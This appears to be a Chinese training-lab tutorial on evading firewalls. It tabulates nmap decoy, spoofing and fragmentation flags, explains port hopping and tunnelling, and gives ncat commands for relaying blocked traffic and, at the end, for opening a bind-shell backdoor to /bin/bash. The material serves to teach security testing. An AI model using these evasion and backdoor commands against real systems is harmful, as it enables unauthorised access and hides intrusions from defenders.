Firewalls

控制源 MAC/IP/Port 进行规避

:::info

  1. 通过控制源 MAC/IP/端口进行规避
  2. 通过碎片、MTU和数据长度进行规避
  3. 通过修改头部字段进行规避

:::

控制源 MAC/IP/端口进行规避

我们可以使用 nmap 进行扫描

规避方法 Nmap 参数
使用诱饵隐藏扫描 -D DECOY1_IP1,DECOY_IP2,ME
使用随机诱饵隐藏扫描 -D RND,RND,ME
使用 HTTP/SOCKS4 代理来中继连接 —proxies PROXY_URL
欺骗源MAC地址 —spoof-mac MAC_ADDRESS
欺骗源IP地址 -S IP_ADDRESS
使用特定的源端口号 -g PORT_NUM或者—source-port PORT_NUM

通过碎片、MTU和数据长度进行规避

规避方法 Nmap 参数
将 IP 数据分段为 8 个字节 -f
将 IP 数据分段为 16 个字节 -ff
使用给定的MTU对数据包进行分段 —mtu VALUE
指定数据包长度 —data-length NUM

修改 HTTP 头部字段

规避方法 Nmap 参数
设置 IP 生存时间字段 —ttl VALUE
发送具有指定 IP 选项的数据包 —ip-options OPTIONS
发送带有错误 TCP/UDP 校验和的数据包 —badsum

使用端口跳跃

:::info

三种常见的防火墙规避技术是:
  • 端口跳跃
  • 端口隧道
  • 使用非标准端口

:::

端口跳跃

端口跳跃是一种应用程序从一个端口跳到另一个端口直到它可以建立和维持连接的技术。换句话说,应用程序可能会尝试不同的端口,直到它可以成功建立连接。一些“合法”应用程序使用此技术来避开防火墙。在下图中,客户端不断尝试不同的端口到达服务器,直到它发现一个未被防火墙阻止的目标端口。

Firewalls 规避 - 图1

还有另一种类型的端口跳跃,应用程序在一个端口上建立连接并开始传输一些数据;一段时间后,它会在(即跳转到)不同端口上建立新连接并恢复发送更多数据。目的是让蓝队更难检测和跟踪所有交换的流量。

端口隧道

:::info

端口隧道也称为端口转发端口映射。简单来说,这种技术将发送到一个目的端口的数据包转发到另一个目的端口。例如,发送到一个系统上的 80 端口的数据包被转发到另一个系统上的 8080 端口。

:::

考虑这样一种情况,您在防火墙后面有一台您无法从外部访问的服务器。但是,您发现防火墙不会阻止特定端口。您可以通过不同的端口隧道传输流量来利用这些知识。 考虑以下情况。我们有一个SMTP服务器监听端口 25;但是,我们无法连接到 SMTP 服务器,因为防火墙阻止了从 Internet 发送到目标端口 25 的数据包。我们发现发送到目标端口 443 的数据包没有被阻止,因此我们决定利用这一点并将我们的数据包发送到端口443,在它们通过防火墙后,我们将它们转发到端口 25。假设我们可以在防火墙后面的系统之一上运行我们选择的命令。我们可以使用该系统使用以下命令将我们的数据包转发到 SMTP 服务器
  1. ncat -lvnp 443 -c "ncat TARGET_SERVER 25"

结果,ncat将在端口 443 上侦听,但它将所有数据包转发到目标服务器上的端口 25。因为在这种情况下,防火墙会阻止 25 端口并允许 443 端口,所以端口隧道是一种有效的绕过防火墙的方法。

Firewalls 规避 - 图2

使用非标准端口

ncat -lvnp PORT_NUMBER -e /bin/bash将通过指定的端口号创建一个后门,让您与 Bash shell 进行交互。

在 AttackBox 上,我们可以运行 ncat MACHINE_IP PORT_NUMBER以连接到目标机器并与其 shell 交互。